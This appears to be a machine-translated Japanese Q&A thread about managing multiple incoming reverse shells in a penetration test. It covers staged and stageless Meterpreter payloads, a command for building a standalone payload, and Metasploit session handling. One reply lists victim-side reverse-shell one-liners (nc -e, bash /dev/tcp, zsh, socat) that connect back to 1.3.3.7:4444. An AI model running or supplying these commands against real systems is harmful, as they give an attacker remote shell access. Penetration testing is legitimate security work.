私はペンテストを実行していて、次のように接続されている複数のシェルからのリバースシェルを期待しています:-
nc <my-ip> <my-port> -e /bin/bash
しかし、私はこれらの着信接続を管理するための最良の方法を理解しようとしています。これに関連するベストプラクティスに関する提案はありますか? metasploits meterpreterシェルを確認しましたが、ペイロードがクライアントに返送されているようです。これは必要ありません。接続が適切に処理されることだけが必要です。
Metasploitには、シングル、ステージャー、ステージに分割された複数のペイロードがあります。単一のペイロードはすべて1つの実行可能ファイルにカプセル化されており、追加のダウンロードは必要ありません。たとえば、payload/windows/Shell_reverse_tcpは、スタンドアロンの実行可能ファイルとして使用できる単一のペイロードです。
デフォルトでは、meterpreterペイロードは段階的なペイロードです。 msfconsole/msfpayload/msfvenomを使用して生成すると、最初のステージが生成され、実行時にハンドラーから2番目のステージのmetsrv.dllがダウンロードされます。ただし、Sherif Eldeebによって作成されたMetasploit公式ツリーの外にスタンドアロンのメータプリッターペイロードがあります。 Sherif Eldeep github repository からダウンロードできます。
Githubリポジトリからultimet.Zipアーカイブをダウンロードし、スタンドアロンの実行可能ファイルを次のように生成します。
ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload
-tは、選択したトランスポートです。リバース/バインドhttp(s)などの他のトランスポートも可能です。上記のコマンドは、REVERSE_TCP__LPORT.exeという名前のディレクトリに新しい実行可能ファイルを作成します。これは、スタンドアロンのメートルプリター実行可能ファイルで、第2ステージのmetsrv.dllが同じ実行可能ファイルにカプセル化されています。ただし、reverse_httpsトランスポートには現在、ハンドラーに接続するたびに接続がクラッシュするバグがあることに注意してください。 reverse_tcpは非常に信頼できます。
MsfconsoleでExitOnSession falseオプションを使用すると、必要な数のセッションを処理できます。また、 Armitage を使用すると、複数の接続をより効率的に処理できることに気付きましたが、それは好みの問題にすぎません。 msfconsoleは、リソーススクリプトを使用して悪用後の多くのタスクを自動化できる複数の接続の処理にも非常に優れています。
更新:プルリクエスト 4925 の段階で、無段階メータープリーターは公式のMetasploitディストリビューションの一部になりました。これはSharifの作業の統合ではなく、OJ Reevesによる完全な書き直しです。
私が作成したこのツールが必要になる場合があります。
https://github.com/WangYihang/Reverse-Shell-Manager
これは、ターミナルを介した複数のリバースシェルセッション/クライアントマネージャーです。
攻撃者側:python Reverse-Shell-Manager.py 0.0.0.0 4444
犠牲者の側
Linux:
nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444
ウィンドウズ:
nc.exe -e /bin/bash 1.3.3.7 4444
ここにあなたが助けることができる2つのビデオがあります: